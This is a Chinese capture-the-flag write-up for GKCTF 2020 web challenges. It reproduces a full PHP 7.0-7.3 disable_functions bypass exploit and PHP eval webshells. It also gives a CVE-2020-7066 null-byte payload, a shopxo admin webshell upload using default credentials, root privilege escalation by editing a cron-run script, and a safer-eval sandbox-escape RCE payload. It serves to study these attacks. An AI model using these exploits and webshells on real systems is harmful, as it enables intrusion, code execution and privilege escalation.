GKCTF2020_web

不完整，先把打出來的題目寫一下，再寫復現的好了

CheckIN

源碼

<title>Check_In</title>
<?php 
highlight_file(__FILE__);
class ClassName
{
        public $code = null;
        public $decode = null;
        function __construct()
        {
                $this->code = @$this->x()['Ginkgo'];
                $this->decode = @base64_decode( $this->code );
                @Eval($this->decode);
        }

        public function x()
        {
                return $_REQUEST;
        }
}
new ClassName();

利用__construct魔術方法，把Ginkgo的值進行base64解密後命令執行。 先寫個最簡單的木馬，利用蟻劍連接，發現根目錄有個readflag,還有個flag，不過flag裏面沒東西，估計是沒有讀取權限。readflag讀取也亂碼了。發現好多函數不能用，看看phpinfo();裏面的有效信息。

發現disable_functions禁用了好多關鍵函數。想着能不能繞過這些函數來運行readflag，獲取flag。

disable_functions繞過

<?php

# PHP 7.0-7.3 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=72530
#
# This exploit should work on all PHP 7.0-7.3 versions
#
# Author: https://github.com/mm0r1

pwn("/readflag");	//改成自己想要運行的命令或者文件，比如說這題的readflag

function pwn($cmd) {
    global $abc, $helper;

    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= chr($ptr & 0xff);
            $ptr >>= 8;
        }
        return $out;
    }

    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = chr($v & 0xff);
            $v >>= 8;
        }
    }

    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }

    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);

        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);

            if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
                # handle pie
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'constant' constant check
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'bin2hex' constant check
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) { # ELF header
                return $addr;
            }
        }
    }

    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) { # system
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }

    class ryat {
        var $ryat;
        var $chtg;
        
        function __destruct()
        {
            $this->chtg = $this->ryat;
            $this->ryat = 1;
        }
    }

    class Helper {
        public $a, $b, $c, $d;
    }

    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }

    $n_alloc = 10; # increase this value if you get segfaults

    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_repeat('A', 79);

    $poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}';
    $out = unserialize($poc);
    gc_collect_cycles();

    $v = [];
    $v[0] = ptr2str(0, 79);
    unset($v);
    $abc = $out[2][0];

    $helper = new Helper;
    $helper->b = function ($x) { };

    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }

    # leaks
    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;

    # fake value
    write($abc, 0x60, 2);
    write($abc, 0x70, 6);

    # fake reference
    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);

    $closure_obj = str2ptr($abc, 0x20);

    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }

    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }

    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }

    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }

    # fake closure object
    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }

    # pwn
    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); # internal func type
    write($abc, 0xd0 + 0x68, $zif_system); # internal func handler

    ($helper->b)($cmd);

    exit();
}

試了下好像只能在tmp上傳php文件，傳入後講php文件引入index.php

PHP include 和 require 語句

通過 include 或 require 語句，可以將 PHP 文件的內容插入另一個 PHP 文件（在服務器執行它之前）。

payload：

?Ginkgo=QGV2YWwoJF9HRVRbYV0pOw==&a=require('/tmp/exploit.php');
include 或 require兩種都行

cve版簽到

CVE-2020-7066

在低於7.2.29的PHP版本7.2.x，低於7.3.16的7.3.x和低於7.4.4的7.4.x中，將get_headers（）與用戶提供的URL一起使用時，如果URL包含零（\ 0）字符，則URL將被靜默地截斷。這可能會導致某些軟件對get_headers（）的目標做出錯誤的假設，並可能將某些信息發送到錯誤的服務器。

正常點擊之後會這樣跳轉

http://*.node3.buuoj.cn/?url=http://www.ctfhub.com

發現Headers中存在Hint:Flag in localhost
試試localhost發現有個tips:Host must be end with ‘123’ ##主機名要是123結尾

payload:

?url=http://127.0.0.123%00www.ctfhub.com

老八小超市兒

用的shopxo一款開源的企業級商城系統，基於thinkphp5框架開發。
一開始以爲TP5的POC可以打，然後發現版本是1.80，幾乎是最新版= =。好像都被修復了~
shopxo後臺全版本獲取shell復現
利用後臺上傳shell來進行控制~

後臺地址

http://*.buuoj.cn/admin.php?s=/admin/logininfo.html

默認賬號:admin,密碼:shopxo.
登陸後進入到網站管理->主題管理->更多主題下載(下一個默認主題就行)

壓入自己的webshell的php文件

<?php
    @eval($_POST[a]);
    phpinfo(); 
?>

主題安裝中上傳剛剛的zip

訪問一下

http://*.node3.buuoj.cn/public/static/index/default/shell.php

用蟻劍連一下

發現根目錄下提示flag在/root中
有一個auto.sh文件

#!/bin/sh
while true; do (python /var/mail/makeflaghint.py &) && sleep 60; done

makeflaghint.py

import os
import io
import time
os.system("whoami")
gk1=str(time.ctime())
gk="\nGet The RooT,The Date Is Useful!"
f=io.open("/flag.hint", "rb+")
f.write(str(gk1))
f.write(str(gk))
f.close()

在終端ps -ef發現auto.sh是root權限的，所以py腳本應該可以讀取root下的flag然後輸出到flag.hint文件

讀取下root下的文件目錄

import os
import io
import time
os.system("whoami")
f=io.open("/flag.hint", "rb+")
for root,dirs,files in os.walk(r"/root"):
        for file in files:
            f.write(os.path.join(root,file)+"\n")
f.close()

import os
import io
import time
os.system("whoami")
f=io.open("/flag.hint", "rb+")
s=io.open("/root/flag","r").read()
f.write("chenzidu:"+s)
f.close()

EZ三劍客-EzNode

nodejs中express框架的中間件及app.use和app.get方法的解析
源碼

const express = require('express');
const bodyParser = require('body-parser');

const saferEval = require('safer-eval'); // 2019.7/WORKER1 找到一個很棒的庫

const fs = require('fs');

const app = express();


app.use(bodyParser.urlencoded({ extended: false }));
app.use(bodyParser.json());

// 2020.1/WORKER2 老闆說爲了後期方便優化
app.use((req, res, next) => {
  if (req.path === '/eval') {
    let delay = 60 * 1000;
    console.log(delay);
    if (Number.isInteger(parseInt(req.query.delay))) {
      delay = Math.max(delay, parseInt(req.query.delay));
    }
    const t = setTimeout(() => next(), delay);
    // 2020.1/WORKER3 老闆說讓我優化一下速度，我就直接這樣寫了，其他人寫了啥關我p事
    setTimeout(() => {
      clearTimeout(t);
      console.log('timeout');
      try {
        res.send('Timeout!');
      } catch (e) {

      }
    }, 1000);
  } else {
    next();
  }
});

app.post('/eval', function (req, res) {
  let response = '';
  if (req.body.e) {
    try {
      response = saferEval(req.body.e);
    } catch (e) {
      response = 'Wrong Wrong Wrong!!!!';
    }
  }
  res.send(String(response));
});

// 2019.10/WORKER1 老闆娘說她要看到我們的源代碼，用行數計算KPI

delay超出int(2147483637)導致異常，
safer-Eval的RCE

const saferEval = require("./src/index");

const theFunction = function () {
  const process = clearImmediate.constructor("return process;")();
  return process.mainModule.require("child_process").execSync("whoami").toString()
};
const untrusted = `(${theFunction})()`;

console.log(saferEval(untrusted));

payload:

Url:
    http://d9e03ffb-d362-49e6-80b0-a9280774354d.node3.buuoj.cn/eval?delay=2147483649
post:
    e=clearImmediate.constructor("return process;")().mainModule.require("child_process").execSync("cat /flag").toString()
或者
post:
    e=(function () {const process = clearImmediate.constructor("return process;")();return process.mainModule.require("child_process").execSync("cat /flag").toString()})()

---

參考

disable_functions繞過
PHP Include
CVE-2020-7066
shopxo後臺全版本獲取shell復現
python遍歷目錄下的所有文件和目錄
防災科技學院GKCTF 2020 Writeup
nodejs中express框架的中間件及app.use和app.get方法的解析
safer-Eval的RCE